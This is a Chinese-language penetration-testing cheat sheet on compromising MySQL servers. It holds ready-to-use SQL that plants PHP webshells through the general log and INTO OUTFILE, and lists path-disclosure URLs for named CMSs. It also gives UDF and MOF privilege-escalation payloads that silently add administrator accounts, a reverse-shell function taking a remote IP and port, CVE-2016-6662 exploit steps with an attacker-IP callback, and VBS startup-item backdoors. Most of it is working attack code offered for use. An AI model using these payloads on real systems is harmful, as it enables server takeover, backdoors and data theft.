部分来源于:先知社区

MYSQL-getshell篇

通过日志getshell

  1. 查看日志的物理路径(绝对路径)

    1. show variables like '%general%';
  2. 打开日志记录内容

    1. set global general_log = on;
  3. 重新设置日志路径(绝对路径)

    1. set global general_log_file = '日志绝对路径';
  4. 写入webshell

    通过SQL的查询语句,查询的语句会被记录在日志中,以此达到将php的webshell写入到日志文件中

    1. select '<?php eval($_POST[request]);?>'
  5. 事后还原

    最好恢复为原本状态,不然一直记录会将含有webshell的日志文件变得越来越大,影响正常使用

    1. set global general_log_file = '原本日志文件路径';
    2. set global general_log = off;

通过outfile语句getshell

  1. 直接通过outfile获取webshell

    1. select '<?php @eval($_POST[request];?>' into outfile '木马在目标机器的绝对路径';
    2. select unhex('十六进制字符串') into dumpfile '木马在目标机器的绝对路径';
    3. select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php';
  2. 通过建立临时表生成webshell

    1. CREATE TABLE `mysql`.`demo`(`temp` TEXT NOT NULL);
    2. INSERT INTO `mysql`.`demo` (`temp`) VALUES('<?php @eval($_POST[request]);?>');
    3. SELECT `temp` FROM `demo` INTO OUTFILE '木马在目标机器的绝对路径';
    4. DROP TABLE IF EXIST `demo`;

CVE-2016-6662

本身既能提权也能直接getshell,详见MYSQL-提权篇

php爆路径方式(主要用于拓宽思路)

  1. 单引号爆路径

    1. 说明:
    2. 直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
    3. www.xxx.com/news.php?id=149
  2. 错误参数值爆路径

    1. 说明:
    2. 将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。
    3. www.xxx.com/researcharchive.php?id=-1
  3. Google爆路径

    1. 说明:
    2. 结合关键字和site语法搜索出错页面的网页快照,常见关键字有warningfatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。
    3. Site:xxx.edu.tw warning
    4. Site:xxx.com.tw fatal error
  4. 测试文件爆路径

    1. 说明:
    2. 很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。
    3. www.xxx.com/test.php
    4. www.xxx.com/ceshi.php
    5. www.xxx.com/info.php
    6. www.xxx.com/phpinfo.php
    7. www.xxx.com/php_info.php
    8. www.xxx.com/1.php
  5. phpmyadmin爆路径

    1. 说明:
    2. 一旦找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫,也可以选择googlePS:有些BT网站会写成phpMyAdmin
    3. 1. /phpmyadmin/libraries/lect_lang.lib.php
    4. 2./phpMyAdmin/index.php?lang[]=1
    5. 3. /phpMyAdmin/phpinfo.php
    6. 4. load_file()
    7. 5./phpmyadmin/themes/darkblue_orange/layout.inc.php
    8. 6./phpmyadmin/libraries/select_lang.lib.php
    9. 7./phpmyadmin/libraries/lect_lang.lib.php
    10. 8./phpmyadmin/libraries/mcrypt.lib.php
  6. 配置文件找路径

    1. 说明:
    2. 如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。
    3. Windows:
    4. c:\windows\php.ini php配置文件
    5. c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件
    6. Linux:
    7. /etc/php.ini php配置文件
    8. /etc/httpd/conf.d/php.conf
    9. /etc/httpd/conf/httpd.conf Apache配置文件
    10. /usr/local/apache/conf/httpd.conf
    11. /usr/local/apache2/conf/httpd.conf
    12. /usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件
  7. nginx文件类型错误解析爆路径

    1. 说明:
    2. 这是昨天无意中发现的方法,当然要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。
    3. www.xxx.com/top.jpg/x.php
  8. 其他

    • dedecms

      1. /member/templets/menulit.php
      2. plus/paycenter/alipay/return_url.php
      3. plus/paycenter/cbpayment/autoreceive.php
      4. paycenter/nps/config_pay_nps.php
      5. plus/task/dede-maketimehtml.php
      6. plus/task/dede-optimize-table.php
      7. plus/task/dede-upcache.php
    • WP

      1. wp-admin/includes/file.php
      2. wp-content/themes/baiaogu-seo/footer.php
    • ecshop商城系统暴路径漏洞文件

      1. /api/cron.php
      2. /wap/goods.php
      3. /temp/compiled/ur_here.lbi.php
      4. /temp/compiled/pages.lbi.php
      5. /temp/compiled/user_transaction.dwt.php
      6. /temp/compiled/history.lbi.php
      7. /temp/compiled/page_footer.lbi.php
      8. /temp/compiled/goods.dwt.php
      9. /temp/compiled/user_clips.dwt.php
      10. /temp/compiled/goods_article.lbi.php
      11. /temp/compiled/comments_list.lbi.php
      12. /temp/compiled/recommend_promotion.lbi.php
      13. /temp/compiled/search.dwt.php
      14. /temp/compiled/category_tree.lbi.php
      15. /temp/compiled/user_passport.dwt.php
      16. /temp/compiled/promotion_info.lbi.php
      17. /temp/compiled/user_menu.lbi.php
      18. /temp/compiled/message.dwt.php
      19. /temp/compiled/admin/pagefooter.htm.php
      20. /temp/compiled/admin/page.htm.php
      21. /temp/compiled/admin/start.htm.php
      22. /temp/compiled/admin/goods_search.htm.php
      23. /temp/compiled/admin/index.htm.php
      24. /temp/compiled/admin/order_list.htm.php
      25. /temp/compiled/admin/menu.htm.php
      26. /temp/compiled/admin/login.htm.php
      27. /temp/compiled/admin/message.htm.php
      28. /temp/compiled/admin/goods_list.htm.php
      29. /temp/compiled/admin/pageheader.htm.php
      30. /temp/compiled/admin/top.htm.php
      31. /temp/compiled/top10.lbi.php
      32. /temp/compiled/member_info.lbi.php
      33. /temp/compiled/bought_goods.lbi.php
      34. /temp/compiled/goods_related.lbi.php
      35. /temp/compiled/page_header.lbi.php
      36. /temp/compiled/goods_script.html.php
      37. /temp/compiled/index.dwt.php
      38. /temp/compiled/goods_fittings.lbi.php
      39. /temp/compiled/myship.dwt.php
      40. /temp/compiled/brands.lbi.php
      41. /temp/compiled/help.lbi.php
      42. /temp/compiled/goods_gallery.lbi.php
      43. /temp/compiled/comments.lbi.php
      44. /temp/compiled/myship.lbi.php
      45. /includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
      46. /includes/modules/cron/auto_manage.php
      47. /includes/modules/cron/ipdel.php
    • ucenter爆路径

      1. ucenter\control\admin\db.php
    • DZbbs

      1. manyou/admincp.php?my_suffix=%0A%0DTOBY57
    • z-blog

      1. admin/FCKeditor/editor/dialog/fck%5Fspellerpages/spellerpages/server%2Dscripts/spellchecker.php
    • php168爆路径

      1. admin/inc/hack/count.php?job=list
      2. admin/inc/hack/search.php?job=getcode
      3. admin/inc/ajax/bencandy.php?job=do
      4. cache/MysqlTime.txt
    • PHPcms2008-sp4

      1. 注册用户登陆后访问
      2. phpcms/corpandresize/process.php?pic=../images/logo.gif
    • bo-blog

      1. /go.php/<[evil code]
    • CMSeasy爆网站路径漏洞

      1. 漏洞出现在menu_top.php这个文件中
      2. lib/mods/celive/menu_top.php
      3. /lib/default/ballot_act.php
      4. lib/default/special_act.php

MYSQL-提权篇

UDF提权

  1. 提权原理

    特性一:不管是windows还是linux,都会存在一个称之为动态链接库(相当于数个函数的封装)的文件,在windows下通常表现为dll文件,而在linux下通常表现为so文件,程序运行时会调用动态链接库中的函数,以此实现复杂功能。

    特性二:在程序运行或加载时,有操作系统加载动态链接库,因此动态链接库真正的调用者其实是操作系统,所以动态链接库的执行权限是系统最高权限

    利用上述两个特性,只需将包含恶意函数的动态链接库文件加载到MYSQL中,然后通过MYSQL进行函数调用,即可实现任意代码的执行

  2. 提权条件

    • MYSQL版本大于5.1:动态链接库必须放置在MYSQL安装目录下的lib\plugin目录下
    • MYSQL版本小于5.1大于5.0:在Windows2003下DLL文件放置于C:\windows\system32;在windows200下DLL文件放置于C:\winnt\system32
    • MYSQL版本小于5.0:动态链接库可任意放置
    • MYSQL数据库用户具有创建和删除函数的权限
    • 有写入指定目录的权限
    • secure_file_priv为空,表示MYSQL对文件的导入导出无任何限制
  3. 提权思路

    • 查看plugin目录

      加载失败可先尝试删除原有的扩展名:delete from mysql.func where name='函数名';

      1. show variables like '%plugin%';
      2. select @@plugin_dir;
    • 写入动态链接库

      MYSQL大于5.1情况下,可能默认不存在plugin目录,因此可利用NTFS ADS流创建plugin目录

      先查找MYSQL目录:

      select @@basedir;

      再创建lib目录:

      select 'It is dll' into dumpfile 'MYSQL目录\\lib::$INDEX_ALLOCATION';

      最后创建plugin目录:

      select 'It is dll' into dumpfile 'MYSQL目录\\lib\\plugin::$INDEX_ALLOCATION';

      • 通过webshell直接上传文件至指定目录
      • 使用udf.php工具写入dll文件
      • lib_mysqludf_sys==>select hex(load_file("so文件路径")) into outfile "目的txt文件路径"写入so文件
      • 利用lib_mysqludf_sys==>select unhex("16进制字符串") into dumpfile("plugin目录路径");写入so文件
    • 创建自定义函数,执行系统命令

      1. # 根据udf.dll创建自定义函数cmdshell
      2. create function cmdshell returns string soname 'udf.dll';
      3. # 执行cmd命令(创建新用户)
      4. select cmdshell('net user waitalone waitalone.cn /add');
      5. select cmdshell('net localgroup administrators waitalone /add');
      6. # 删除自定义函数
      7. drop function cmdshell;
      8. delete from mysql.func where name='cmdshell';
      9. ## 反弹shell
      10. create function backshell returns string soname 'udf.dll';
      11. select backshell("remote_ip",remote_port);
      1. create function sys_eval returns soname "mysqludf.so";
      2. select sys_eval("whoami");

CVE-2016-6662

MYSQL 0Day漏洞:攻击者在仅拥有SELECT/FILE的权限下,利用此漏洞实现ROOT提权,执行任意代码,进而控制服务器

  1. 利用原理

    MySQL的默认安装包里面包含一个脚本mysqld_safe,它被用来启动MySQL服务。mysqld_safe脚本是以root权限启动的,而数据库守护进程mysqld是用较低权限的mysql用户启动的。mysqld_safe脚本中存在一个参数malloc-lib,该参数会引导MYSQL服务加载时,预加载一个库文件,该参数同样可以在MYSQL默认配置文件my.cnf中指定,如:[mysqld]或者[mysqld_safe]。该漏洞的本质是攻击者通过log函数利用不恰当的权限改写MYSQL的配置文件my.cnf,将恶意的文件路径插入到配置文件my.cnf中,从而加载恶意库文件,当mysql服务重启时,就能以root权限执行任意代码

  2. 利用条件

    • 攻击者必须拥有MYSQL的SQL-SHELL,以实现my.cnf的附写
    • 攻击者必须能促使MYSQL服务重启
  3. 利用细节

    • 通过SQL注入等手段获取SQL-SHELL

    • 通过文件上传或DUMPFILE命令将恶意malloc_lib共享文件上传到目标服务器

      1. select unhex("so文件对应的十六进制字符串") into dumpfile "目标so文件路径"
    • 覆写MYSQL配置文件my.cnf

      1. set global general_log_file='/var/lib/mysql/my.cnf';
      2. set global general_log = on;
      3. select '
      4. '>
      5. '> ; injected config entry
      6. '>
      7. '> [mysqld]
      8. '> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
      9. '>
      10. '> [separator]
      11. '>
      12. '> ';
      13. set global general_log = off;

      以此通过log函数在my.cnf后

    • 执行任意命令

      1. ## 执行系统命令
      2. # 根据udf.dll创建自定义函数cmdshell
      3. create function cmdshell returns string soname 'udf.dll';
      4. # 执行cmd命令(创建新用户)
      5. select cmdshell('net user waitalone waitalone.cn /add');
      6. select cmdshell('net localgroup administrators waitalone /add');
      7. # 删除自定义函数
      8. drop function cmdshell;
      9. delete from mysql.func where name='cmdshell';
      10. ## 反弹shell
      11. create function backshell returns string soname 'udf.dll';
      12. select backshell("remote_ip",remote_port);
    • 重启MYSQL服务,触发恶意库文件执行

  4. EXP复现

    CVE-2016-6662-exp

    • 修改一下mysql_hookandroot_lib.c的ip,port和my.cnf的位置:

      1. #define ATTACKERS_IP "192.168.0.1"
      2. #define SHELL_PORT 6033
      3. #define INJECTED_CONF "/usr/local/mysql/my.cnf"
    • 修改一下0ldSQL_MySQL_RCE_exploit.py的port和my.cnf的位置,然后执行

      1. python 0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.0.1 -dbname pocdb -mycnf /usr/local/mysql/my.cnf

    最后重启MYSQL服务,再次连接MYSQL,whoami发现成功提权

sqlmap提权

本质上sqlmap提权其实就是UDF提权,但某些情况下,无法获取MYSQL数据库的用户名密码,如:SQL注入,这时SQLMAP会帮上忙

  1. # 前提条件:存在SQL注入,且MYSQL用户对应的密码复杂度较高,无法获取其明文密码,或者MYSQL无法远程连接
  2. # 上传提权所需的文件,可指定文件存放位置
  3. python sqlmap.py -u "http://ip:port/path" --file-write=本地文件路径 --file-dest=目标文件路径
  4. # 激活sys_exec函数,用于执行系统命令(这一步骤与UDF步骤完全一致)
  5. python sqlmap.py -u "http://ip:port/path" --sql-shell
  6. # 上传后门
  7. python sqlmap.py -u "http://ip:port/path" --file-write=本地木马文件路径 --file-dest=目标文件路径

MOF提权

MOF文件是MYSQL数据库的扩展文件(c:/windows/system32/wbem/mof/nullevt.mof),其作用是每隔5秒该文件就会去监控进程的创建和死亡

  1. 提权原理

    MOF文件每隔5秒就会执行,且执行命令时的权限为系统权限,如果通过MYSQL将MOF文件替换,那么系统就会每隔5秒执行MOF文件,MOF文件中存在一段VBS脚本,因此控制VBS脚本内容变成让系统执行命令,进而提权

  2. 利用条件

    • Windows <= 2003
    • MYSQL对c:/windows/system32/wbem/mof目录有写入权限
    • 已知MYSQL数据的账号密码
  3. 利用方式

    • test.mof (此处借助wscrript.shell执行系统命令)

      1. #pragma namespace("\\\\.\\root\\subscription")
      2. instance of __EventFilter as $EventFilter
      3. {
      4. EventNamespace = "Root\\Cimv2";
      5. Name = "filtP2";
      6. Query = "Select * From __InstanceModificationEvent "
      7. "Where TargetInstance Isa \"Win32_LocalTime\" "
      8. "And TargetInstance.Second = 5";
      9. QueryLanguage = "WQL";
      10. };
      11. instance of ActiveScriptEventConsumer as $Consumer
      12. {
      13. Name = "consPCSV2";
      14. ScriptingEngine = "JScript";
      15. ScriptText =
      16. "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test 123456 /add\")";
      17. };
      18. instance of __FilterToConsumerBinding
      19. {
      20. Consumer = $Consumer;
      21. Filter = $EventFilter;
      22. };
    • 通过webshell等方式将MOF文件上传至任意目录

    • 通过outfile将MOF文件写入到执行目录下

      1. select load_file("当前MOF文件路径") into dumpfile "指定MOF文件路径";

VBS提权

利用MYSQL数据库创建启动项

  1. # 创建临时表a,cmd为字段
  2. create table a (cmd text);
  3. # 通过MYSQL获取系统高权限(后续补充,0表示不弹出窗口)
  4. insert into a values ("set wshshell=createobject('wscript.shell')");
  5. insert into a values ("a=wshshell.run('cmd.exe /c net user user1 password1 /add',0)");
  6. insert into a values ("b=wshshell.run('cmd.exe /c net localgroup administrators user1 /add',0)");
  7. # 写入到启动项中
  8. select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

利用MYSQL数据库创建启动项,直接写16进制木马(dumpfile与outfile有所区别)

  1. create table a (cmd BLOB);
  2. insert into a values CONVERT(木马的16进制代码,CHAR));
  3. select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\payload.exe'
  4. drop table a;

CVE-2016-6663:条件竞争漏洞提权

CVE-2016-6664:权限提升漏洞

MYSQL-命令篇(持续更新)

  1. # 如果是本地MYSQL,可直接执行系统命令
  2. system command
  1. # 查看plugin目录
  2. select @@plugin_dir;
  3. show variables like "%plugin%";
  1. # 查看log相关环境变量
  2. show variables like "%general_log_file%";
  3. show variables like "%general_log%";
  1. # 将十六进制转成字符串再写入文件
  2. select unhex("十六进制字符串") into dumpfile '文件路径';
  3. # 将字符串写入文件
  4. select "字符串" into outfile '文件路径';
  5. 两者的区别在于outfile将数据写入文件时会对文件内容进行格式转换,比如转义字符,而dumpfile会保存原数据格式;outfile会在每行数据后自动换行,而dumpfile只能导出一行数据
  1. # 查看文件导入导出限制
  2. select @@secure_file_priv;
  3. # 当输出值为空时,表示无任何限制;当输出值为一个指定目录时,表示只能向指定目录导入导出文件;当输出值为NULL时,表示禁止文件的导入导出
  1. # 查看文件内容,返回字符串
  2. select load_file('文件路径');

MYSQL渗透测试的更多相关文章

  1. 详述MySQL服务在渗透测试中的利用

    本文作者:i春秋签约作家——Binghe 致力于书写ichunqiu社区历史上最长篇最细致最真实的技术复现文章. 文章目录: MySQL之UDF提权 MySQL之MOF提权 MySQL之常规写启动项提 ...

  2. 渗透测试环境搭建以及使用sqlmap获取mysql用户数据库密码

    通过sqlmap检测sql注入漏洞 安装SQLmap漏洞查看工具 安装渗透测试演练系统DVWA 使用SQLmap进行sql注入并获得后台管理员adnim帐号和密码 环境介绍 安装SQLmap:Rich ...

  3. chapter1 渗透测试与metasploit

    网络对抗技术课程学习 chapter1 渗透测试与metasploit 一.读书笔记 二.渗透测试 通过模拟恶意攻击者的技术与方法进行攻击,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响 ...

  4. Kali linux渗透测试常用工具汇总1

    1.ProxyChains 简介:代理工具.支持HTTP/SOCKS4/SOCK5的代理服务器,允许TCP/DNS通过代理隧道. 应用场景:通过代理服务器上网. 配置:/etc/proxychains ...

  5. 反向代理在Web渗透测试中的运用

    在一次Web渗透测试中,目标是M国的一个Win+Apache+PHP+MYSQL的网站,独立服务器,对外仅开80端口,网站前端的业务系统比较简单,经过几天的测试也没有找到漏洞,甚至连XSS都没有发现, ...

  6. KALI LINUX WEB 渗透测试视频教程—第十九课-METASPLOIT基础

    原文链接:Kali Linux Web渗透测试视频教程—第十九课-metasploit基础 文/玄魂 目录 Kali Linux Web 渗透测试视频教程—第十九课-metasploit基础..... ...

  7. Kali Linux Web 渗透测试视频教程— 第十三课-密码破解

    Kali Linux Web 渗透测试— 第十三课-密码破解 文/玄魂 目录 Kali Linux Web 渗透测试— 第十三课-密码破解............................... ...

  8. Kali Linux Web 渗透测试视频教程— 第四课 google hack 实战

    Kali Linux Web 渗透测试— 第四课 google hack 实战 文/玄魂 目录 shellKali Linux Web 渗透测试— 第四课 google hack 实战 课程目录 Go ...

  9. [TOP10]十大渗透测试演练系统

    本文总结了目前网络上比较流行的渗透测试演练系统,这些系统里面都提供了一些实际的安全漏洞,排名不分先后,各位安全测试人员可以亲身实践如何利用这个漏洞,同时也可以学习到漏洞的相关知识. DVWA (Dam ...

随机推荐

  1. deepin vue安装步骤

    deepin安装node.js sudo wget https://nodejs.org/dist/v9.2.0/node-v9.2.0-linux-x64.tar.xz tar xJf node-v ...

  2. C# 采用Basic Auth传递Post或者GET 数据

    摘自:http://www.cnblogs.com/starcrm/p/4837971.html public class JiraApi{private string m_Username;priv ...

  3. JS之关于函数

    Javascript的函数也是一个对象 function test() { ... } var test = function(){ ... } 函数内部一旦执行return,则函数执行完毕,如果没有 ...

  4. ssm整合之springmvc.xml文件

    <?xml version="1.0" encoding="UTF-8"?><beans xmlns="http://www.spr ...

  5. Scala 特殊符号含义

    date: 2019-08-01 11:15:27 updated: 2019-08-22 15:22:32 Scala 特殊符号含义 参考地址 1. ::: :::(三个冒号)只用于连接两个 Lis ...

  6. 树和堆(julyedu网课整理)

    date: 2018-12-05 16:59:15 updated: 2018-12-05 16:59:15 树和堆(julyedu网课整理) 1 定义 1.1 树的定义 它是由n(n>=1)个 ...

  7. 关于天线长度及LC值的计算

    一.天线长度与波长 1.天线最佳长度计算 理论和实践证明,当天线的长度为无线电信号波长的1/4时,天线的发射和接收转换效率最高.因此,天线的长度将根据所发射和接收信号的频率即波长来决定.只要知道对应发 ...

  8. router-view组件在app.vue中渲染不出来怎么办

    1.在app.vue使用router-view组件直接渲染 页面什么都没显示,可能问题出在路由配置上了,检查路由是否配置完好,路由挂载那里必须使用routes属性 2.在app.vue中router- ...

  9. 晚间测试13 A. Dove 打扑克 vector +模拟

    题目描述 分析 这道题比较关键的一点就是要看出最终牌数的种类数不会超过 \(\sqrt{n}\) 种 知道了这个性质我们就可以用 \(vector\) 维护一个有序的序列 \(vector\) 中存放 ...

  10. Java复制数组的方法

    java数组拷贝主要有四种方法,分别是循环赋值,System.arraycopy(),Arrays.copyOf()(或者Arrays.copyOfRange)和clone()方法.下面分别介绍一下这 ...